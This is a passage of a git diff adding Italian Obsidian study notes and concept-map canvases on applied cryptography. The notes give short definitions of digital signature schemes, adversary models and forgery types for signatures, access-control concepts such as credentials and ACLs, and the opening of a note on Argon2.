+		{"type":"group","id":"e8db75f248b67dc5","x":1460,"y":1020,"width":440,"height":440,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature scheme.md","id":"800352314ed53d32","x":760,"y":-80,"width":560,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr non-interattivo.md","id":"b5ff1d9e106e9ee4","x":40,"y":-1200,"width":560,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Schnorr signature scheme.md","id":"98853c1dfdd0c0f6","x":760,"y":-1200,"width":560,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/protocollo di identificazione di Schnorr interattivo.md","id":"e7f1b40aa55f5b33","x":-680,"y":-1200,"width":560,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/trasformazione di Fiat-Shamir.md","id":"3a66e738603b61a1","x":-240,"y":-1880,"width":400,"height":520},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/problema di firma digitale.md","id":"4137406c453529f8","x":-1160,"y":-80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/zero-knowledge proof.md","id":"994930ed7363cebb","x":-600,"y":-80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/elliptic curve digital signature algorithm.md","id":"a5a22e844d0920a4","x":2040,"y":-80,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/Edwards-curve digital signature algorithm.md","id":"23a3862f9d6eb070","x":1480,"y":-640,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/firma digitale.md","id":"abc8c93d981924d2","x":760,"y":480,"width":560,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/witness.md","id":"754819fbaff7a238","x":-600,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/probabilistic signature scheme.md","id":"ea589d8e7fe5806a","x":2040,"y":1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/PKCS1 v21.md","subpath":"#PKCS 1 v2.1","id":"9405b6c4c3850c13","x":2040,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md","subpath":"#PKCS 1 v1.5","id":"f751d927ab04b118","x":1480,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/signature forgery.md","id":"906b0b6d9d3e8a77","x":1480,"y":1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/digital signature algorithm.md","id":"ff466c7ab3805a2e","x":1480,"y":-80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/fiducia.md","id":"224752c9b0cdcd99","x":200,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/5 - Firma digitale/full domain hash.md","id":"ef3baa7aeb7267af","x":2040,"y":1600,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"8f11fa1ca83883f0","fromNode":"800352314ed53d32","fromSide":"bottom","toNode":"abc8c93d981924d2","toSide":"top","toEnd":"none"},
+		{"id":"7e436875a3a667b0","fromNode":"994930ed7363cebb","fromSide":"bottom","toNode":"754819fbaff7a238","toSide":"top","toEnd":"none"},
+		{"id":"116c809156f55698","fromNode":"4137406c453529f8","fromSide":"right","toNode":"994930ed7363cebb","toSide":"left","toEnd":"none"},
+		{"id":"a91e098c9666e1c4","fromNode":"994930ed7363cebb","fromSide":"top","toNode":"e7f1b40aa55f5b33","toSide":"bottom","toEnd":"none"},
+		{"id":"f38304d74ed14e59","fromNode":"e7f1b40aa55f5b33","fromSide":"top","toNode":"3a66e738603b61a1","toSide":"left"},
+		{"id":"ceb384526087c875","fromNode":"3a66e738603b61a1","fromSide":"right","toNode":"b5ff1d9e106e9ee4","toSide":"top"},
+		{"id":"e8d210fa44acd4cf","fromNode":"b5ff1d9e106e9ee4","fromSide":"right","toNode":"98853c1dfdd0c0f6","toSide":"left"},
+		{"id":"5a005594213f166c","fromNode":"98853c1dfdd0c0f6","fromSide":"bottom","toNode":"800352314ed53d32","toSide":"top","toEnd":"none"},
+		{"id":"c8fbef5d46aacc98","fromNode":"800352314ed53d32","fromSide":"right","toNode":"ff466c7ab3805a2e","toSide":"left","toEnd":"none"},
+		{"id":"5ed5eb5cee270195","fromNode":"ff466c7ab3805a2e","fromSide":"right","toNode":"a5a22e844d0920a4","toSide":"left","color":"4"},
+		{"id":"bd0a999304448e33","fromNode":"f751d927ab04b118","fromSide":"right","toNode":"9405b6c4c3850c13","toSide":"left"},
+		{"id":"6e9aee5101f4fe72","fromNode":"906b0b6d9d3e8a77","fromSide":"right","toNode":"ea589d8e7fe5806a","toSide":"left","toEnd":"none"},
+		{"id":"df230944d738c944","fromNode":"906b0b6d9d3e8a77","fromSide":"right","toNode":"ef3baa7aeb7267af","toSide":"left","toEnd":"none"},
+		{"id":"98f23bdac52816a6","fromNode":"f751d927ab04b118","fromSide":"bottom","toNode":"906b0b6d9d3e8a77","toSide":"top","toEnd":"none"},
+		{"id":"cc8fe95f0d624a3d","fromNode":"800352314ed53d32","fromSide":"right","toNode":"f751d927ab04b118","toSide":"left","toEnd":"none"},
+		{"id":"3edcf7b76cf4bde3","fromNode":"abc8c93d981924d2","fromSide":"left","toNode":"224752c9b0cdcd99","toSide":"right","toEnd":"none"},
+		{"id":"5c3151292bcad9b5","fromNode":"800352314ed53d32","fromSide":"right","toNode":"23a3862f9d6eb070","toSide":"left","toEnd":"none","color":"4"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/adaptively-chosen-message attacker.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/adaptively-chosen-message attacker.md
new file mode 100644
index 0000000..4fc64cc
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/adaptively-chosen-message attacker.md	
@@ -0,0 +1,3 @@
+[[tipo di avversario]] in [[contesto di firma digitale]] superiore al [[chosen-message attacker]] che:
+
+- **🔑 può conoscere qualsiasi tupla `(firma, messaggio)` per qualsiasi chiave pubblica a sua scelta**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/any message forgery.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/any message forgery.md
new file mode 100644
index 0000000..59c7580
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/any message forgery.md	
@@ -0,0 +1,3 @@
+[[violazione]] in [[contesto di firma digitale]] superiore alla [[selective message forgery]] che permette all'[[avversario]] di:
+
+- **🗞️ creare qualsiasi tupla `(firma, messaggio)`**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/chosen-message attacker.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/chosen-message attacker.md
new file mode 100644
index 0000000..02d466c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/chosen-message attacker.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["CMA"]
+---
+
+[[tipo di avversario]] in [[contesto di firma digitale]] superiore al [[known-message attacker]] che:
+
+- **🗝️ può conoscere qualsiasi tupla `(firma, messaggio)` per una data chiave pubblica**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/contesto di firma digitale.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/contesto di firma digitale.md
new file mode 100644
index 0000000..cf7a175
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/contesto di firma digitale.md	
@@ -0,0 +1 @@
+[[contesto]] in cui i membri della [[squadra blu]] desiderano archiviare messaggi [[problema di firma digitale|autenticati con firma digitale]], e i membri della [[squadra rossa]] desiderano creare ulteriori messaggi che vengano autenticati con successo, usando determinate capacità e conoscenze.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/known-message attacker.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/known-message attacker.md
new file mode 100644
index 0000000..2fb879c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/known-message attacker.md	
@@ -0,0 +1,3 @@
+[[tipo di avversario]] in [[contesto di firma digitale]] superiore al [[random-message attacker]] che:
+
+- **👀 può conoscere qualsiasi tupla `(firma, messaggio)`, ma solo prima che gli sia rivelata la chiave pubblica**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/no-message attacker.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/no-message attacker.md
new file mode 100644
index 0000000..3f56000
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/no-message attacker.md	
@@ -0,0 +1,3 @@
+[[tipo di avversario]] in [[contesto di firma digitale]] che:
+
+- *Non ha accesso a nulla.*
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/random-message attacker.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/random-message attacker.md
new file mode 100644
index 0000000..b623105
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/random-message attacker.md	
@@ -0,0 +1,3 @@
+[[tipo di avversario]] in [[contesto di firma digitale]] superiore al [[no-message attacker]] che:
+
+- **🎲 conosce tuple `(firma, messaggio)` casuali**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/selective message forgery.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/selective message forgery.md
new file mode 100644
index 0000000..eeff0de
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/selective message forgery.md	
@@ -0,0 +1,3 @@
+[[violazione]] in [[contesto di firma digitale]] superiore alla [[strong existential message forgery]] che permette all'[[avversario]] di:
+
+- **📜 creare specifiche tuple `(firma, messaggio)`**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential message forgery.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential message forgery.md
new file mode 100644
index 0000000..3e21d57
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential message forgery.md	
@@ -0,0 +1,3 @@
+[[violazione]] in [[contesto di firma digitale]] superiore alla [[weak existential message forgery]] che permette all'[[avversario]] di:
+
+- **🖇️ creare una tupla `(firma, messaggio)` per un messaggio da lui scelto**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential unforgeability.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential unforgeability.md
new file mode 100644
index 0000000..f4e2383
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential unforgeability.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["SUF"]
+---
+
+[[garanzia]] in [[contesto di firma digitale]] che prevede che l'[[avversario]] non sia in grado di effettuare [[strong existential message forgery]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential message forgery.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential message forgery.md
new file mode 100644
index 0000000..f361fb3
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential message forgery.md	
@@ -0,0 +1,3 @@
+[[violazione]] in [[contesto di firma digitale]] che permette all'[[avversario]] di:
+
+- **📎 creare una tupla `(firma, messaggio)` per un messaggio non precedentemente firmato**
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential unforgeability.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential unforgeability.md
new file mode 100644
index 0000000..e865d32
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential unforgeability.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["EUF"]
+---
+
+[[garanzia]] in [[contesto di firma digitale]] che prevede che l'[[avversario]] non sia in grado di effettuare [[weak existential message forgery]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/★ mappa concettuale.canvas
new file mode 100644
index 0000000..22df968
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/★ mappa concettuale.canvas	
@@ -0,0 +1,40 @@
+{
+	"nodes":[
+		{"id":"3c59e81ba3d446e8","x":1060,"y":-1340,"width":960,"height":2680,"color":"1","type":"group","label":"Attaccanti"},
+		{"id":"dd31f52fe87419c8","x":-2580,"y":-1060,"width":960,"height":2120,"color":"1","type":"group","label":"Violazioni"},
+		{"id":"29dd5019ec5db8fa","x":-1500,"y":-1060,"width":440,"height":2120,"color":"5","type":"group","label":"Garanzie"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md","id":"0ff7a8e34aeb43d2","x":-760,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md","id":"78f7cfda689b5de0","x":360,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/contesto di firma digitale.md","id":"f878c36c05711d35","x":-200,"y":-200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/no-message attacker.md","id":"a07532e1e6eef02f","x":1080,"y":-1320,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/random-message attacker.md","id":"95169c15bae2b8c0","x":1080,"y":-760,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/known-message attacker.md","id":"454d0f0c39d9cd58","x":1080,"y":-200,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/chosen-message attacker.md","id":"ee7b17627c701ea6","x":1080,"y":360,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/adaptively-chosen-message attacker.md","id":"36a3e6c8b8f6b669","x":1080,"y":920,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential message forgery.md","id":"74caba0c7667d408","x":-2560,"y":-1040,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential message forgery.md","id":"923d69f5925283dc","x":-2560,"y":-480,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/selective message forgery.md","id":"2a7aff7ffae94d8c","x":-2560,"y":80,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/any message forgery.md","id":"e18fe07b2a251f5b","x":-2560,"y":640,"width":920,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/weak existential unforgeability.md","id":"69829cc1044acc6d","x":-1480,"y":-1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/6 - Falsificazione di firme/strong existential unforgeability.md","id":"9bdc8c89b6ddee8e","x":-1480,"y":-480,"width":400,"height":400},
+		{"type":"text","text":"","id":"b76d0097327f0e8a","x":-1480,"y":80,"width":400,"height":400},
+		{"type":"text","text":"","id":"6c39e85fa7d81062","x":-1480,"y":640,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"92493b0d38e4f253","fromNode":"f878c36c05711d35","fromSide":"right","toNode":"78f7cfda689b5de0","toSide":"left","toEnd":"none"},
+		{"id":"fa610a4977b5e3cb","fromNode":"f878c36c05711d35","fromSide":"left","toNode":"0ff7a8e34aeb43d2","toSide":"right","toEnd":"none"},
+		{"id":"6b280079afd2fd80","fromNode":"78f7cfda689b5de0","fromSide":"right","toNode":"a07532e1e6eef02f","toSide":"left","toEnd":"none"},
+		{"id":"5e3270ceaf9f578f","fromNode":"78f7cfda689b5de0","fromSide":"right","toNode":"95169c15bae2b8c0","toSide":"left","toEnd":"none"},
+		{"id":"a244dcc7e7201dc3","fromNode":"78f7cfda689b5de0","fromSide":"right","toNode":"454d0f0c39d9cd58","toSide":"left","toEnd":"none"},
+		{"id":"af1a09764ad41981","fromNode":"78f7cfda689b5de0","fromSide":"right","toNode":"ee7b17627c701ea6","toSide":"left","toEnd":"none"},
+		{"id":"bbef9c2f4d1f73f7","fromNode":"78f7cfda689b5de0","fromSide":"right","toNode":"36a3e6c8b8f6b669","toSide":"left","toEnd":"none"},
+		{"id":"c560909e6bc5d00b","fromNode":"0ff7a8e34aeb43d2","fromSide":"left","toNode":"69829cc1044acc6d","toSide":"right","toEnd":"none"},
+		{"id":"8a5a64c1c2feddc3","fromNode":"0ff7a8e34aeb43d2","fromSide":"left","toNode":"9bdc8c89b6ddee8e","toSide":"right","toEnd":"none"},
+		{"id":"fc532fa823b75a6d","fromNode":"9bdc8c89b6ddee8e","fromSide":"left","toNode":"923d69f5925283dc","toSide":"right","toEnd":"none"},
+		{"id":"4e9058d85d792f0c","fromNode":"69829cc1044acc6d","fromSide":"left","toNode":"74caba0c7667d408","toSide":"right","toEnd":"none"},
+		{"id":"e701596c5582c766","fromNode":"0ff7a8e34aeb43d2","fromSide":"left","toNode":"b76d0097327f0e8a","toSide":"right","toEnd":"none"},
+		{"id":"c801bc7274288127","fromNode":"b76d0097327f0e8a","fromSide":"left","toNode":"2a7aff7ffae94d8c","toSide":"right","toEnd":"none"},
+		{"id":"e85342bdf56f8d59","fromNode":"0ff7a8e34aeb43d2","fromSide":"left","toNode":"6c39e85fa7d81062","toSide":"right","toEnd":"none"},
+		{"id":"03e1b991ccd22c15","fromNode":"6c39e85fa7d81062","fromSide":"left","toNode":"e18fe07b2a251f5b","toSide":"right","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control list.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control list.md
new file mode 100644
index 0000000..c7de115
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control list.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ACL", "access control rules", "authorization policy"]
+---
+
+[[Database]] contenente [[regola di transizione|regole]] per determinare quali [[utente|utenti]] sono [[autorizzazione di utente|autorizzati]] a effettuare determinate operazioni.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control model.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control model.md
new file mode 100644
index 0000000..1f36e33
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control model.md	
@@ -0,0 +1 @@
+Modello che determina quali tipi di [[regola di transizione|regole]] è possibile inserire in una [[access control list]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md
new file mode 100644
index 0000000..d220303
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["AUTHN"]
+---
+
+[[problema]] in cui si vuole [[autenticazione|autenticare]] l'[[identità]] di un [[utente]] attraverso l'uso di [[credenziale|credenziali]].
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autorizzazione di utente.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autorizzazione di utente.md
new file mode 100644
index 0000000..c51a47d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autorizzazione di utente.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["AUTHZ"]
+---
+
+[[problema]] in cui si vuole determinare le operazioni che un [[utente]] [[autenticazione di identità|autenticato]] deve poter effettuare.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md
new file mode 100644
index 0000000..4ca32cf
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md	
@@ -0,0 +1,29 @@
+---
+aliases: ["credential", "fattore di autenticazione", "authentication factor"]
+---
+
+Metodo che un [[utente]] può usare per dimostrare la sua [[identità]].
+
+## Categorizzazione
+
+Le *credenziali* si dividono in varie categorie:
+
+- qualcosa che solo l'utente ***sa***
+	- [[password]]
+	- [[personal identification number]]
+
+- qualcosa che solo l'utente ***ha***
+	- [[smart card]]
+	- [[token di autenticazione]]
+	- [[chiavetta USB]]
+
+- qualcosa che solo l'utente **sa fare**
+	- [[firma]]
+
+- qualcosa che solo l'utente ***è***
+	- [[impronta digitale]]
+	- [[scansione della retina]]
+
+> I fattori biometrici non sono molto considerati, perchè non sono mutabili e sono più considerabili fattori di identificazione.
+
+> La classificazione cambia anche in base a come l'[[utente]] gestisce la credenziale: una [[password]] salvata su chiavetta USB è un fattore posseduto, e non conosciuto.
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md
new file mode 100644
index 0000000..fd9de7c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["credentials database"]
+---
+
+[[Database]] con i dati necessari a verificare le [[credenziale|credenziali]] degli [[utente|utenti]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/identificazione.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/identificazione.md
new file mode 100644
index 0000000..d1b804d
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/identificazione.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ID"]
+---
+
+[[problema]] in cui si vuole determinare un'[[identità]] unica per ogni [[utente]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/servizio di autenticazione.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/servizio di autenticazione.md
new file mode 100644
index 0000000..42c40e3
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/servizio di autenticazione.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["authentication service"]
+---
+
+Servizio che si interfaccia tra l'[[user agent]] e il [[database delle credenziali]] per effettuare [[autenticazione di identità]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/user agent.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/user agent.md
new file mode 100644
index 0000000..04d0364
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/user agent.md	
@@ -0,0 +1,6 @@
+[[agente]] che opera per conto di una [[persona fisica]].
+
+Può assumere varie forme:
+- un programma
+- un browser web
+- un dispositivo dedicato
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/utente.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/utente.md
new file mode 100644
index 0000000..e69de29
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/★ mappa concettuale.canvas b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/★ mappa concettuale.canvas
new file mode 100644
index 0000000..adf5d63
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/★ mappa concettuale.canvas	
@@ -0,0 +1,27 @@
+{
+	"nodes":[
+		{"type":"group","id":"2c4ebbbb538e321d","x":-340,"y":-540,"width":2120,"height":1360,"color":"6","label":"Autorizzazione"},
+		{"type":"group","id":"690b77e863905479","x":-340,"y":-1500,"width":2120,"height":840,"color":"6","label":"Autenticazione"},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/credenziale.md","id":"c8738c235adc8377","x":240,"y":-1480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/servizio di autenticazione.md","id":"17a283e34857be3e","x":800,"y":-1480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/database delle credenziali.md","id":"4339020052d0fdca","x":1360,"y":-1480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/identificazione.md","id":"4e76e41c897222cb","x":-320,"y":-880,"width":400,"height":200},
+		{"type":"text","text":"","id":"5e063731569ecbb0","x":-320,"y":-520,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autorizzazione di utente.md","id":"c54c78b54b92b448","x":240,"y":-520,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/autenticazione di identità.md","id":"bce5cef0dabdf289","x":240,"y":-880,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control list.md","id":"98a9d44f8faa5bdd","x":240,"y":-160,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/access control model.md","id":"35a77671f1204efa","x":240,"y":400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/4 - Controllo dell'accesso/1 - Modello/user agent.md","id":"25e75ed0a57d8864","x":-877,"y":-800,"width":400,"height":400,"color":"#ffffff"}
+	],
+	"edges":[
+		{"id":"8a8275e272dd3f3a","fromNode":"4e76e41c897222cb","fromSide":"right","toNode":"bce5cef0dabdf289","toSide":"left","toEnd":"none"},
+		{"id":"5f5b0aa385a3d3b3","fromNode":"5e063731569ecbb0","fromSide":"right","toNode":"c54c78b54b92b448","toSide":"left","toEnd":"none"},
+		{"id":"f6aff0a2f9348808","fromNode":"bce5cef0dabdf289","fromSide":"top","toNode":"c8738c235adc8377","toSide":"bottom","toEnd":"none"},
+		{"id":"0ce534cd65d4b155","fromNode":"c54c78b54b92b448","fromSide":"bottom","toNode":"98a9d44f8faa5bdd","toSide":"top","toEnd":"none"},
+		{"id":"9c07f78c975c0ffa","fromNode":"98a9d44f8faa5bdd","fromSide":"bottom","toNode":"35a77671f1204efa","toSide":"top","toEnd":"none"},
+		{"id":"8f6ab4dea5cb3862","fromNode":"c8738c235adc8377","fromSide":"right","toNode":"17a283e34857be3e","toSide":"left","toEnd":"none"},
+		{"id":"eb44693c1c40dacc","fromNode":"17a283e34857be3e","fromSide":"right","toNode":"4339020052d0fdca","toSide":"left","toEnd":"none"},
+		{"id":"3c5f31d274b207be","fromNode":"25e75ed0a57d8864","fromSide":"right","toNode":"4e76e41c897222cb","toSide":"left","toEnd":"none"},
+		{"id":"27b3211b0badcaa9","fromNode":"25e75ed0a57d8864","fromSide":"right","toNode":"5e063731569ecbb0","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/Argon2.md b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/Argon2.md
new file mode 100644
index 0000000..345ab4c
--- /dev/null
+++ b/8 - Crittografia applicata/4 - Controllo dell'accesso/2 - Protezione dai data breach/Argon2.md	
@@ -0,0 +1,12 @@
+[[funzione di password hashing]] il cui fattore principale di costo è lo [[spazio]].
+
+## Parametri
+
+- [[password]]
+- [[salt]]
+- Fattore di [[tempo]]
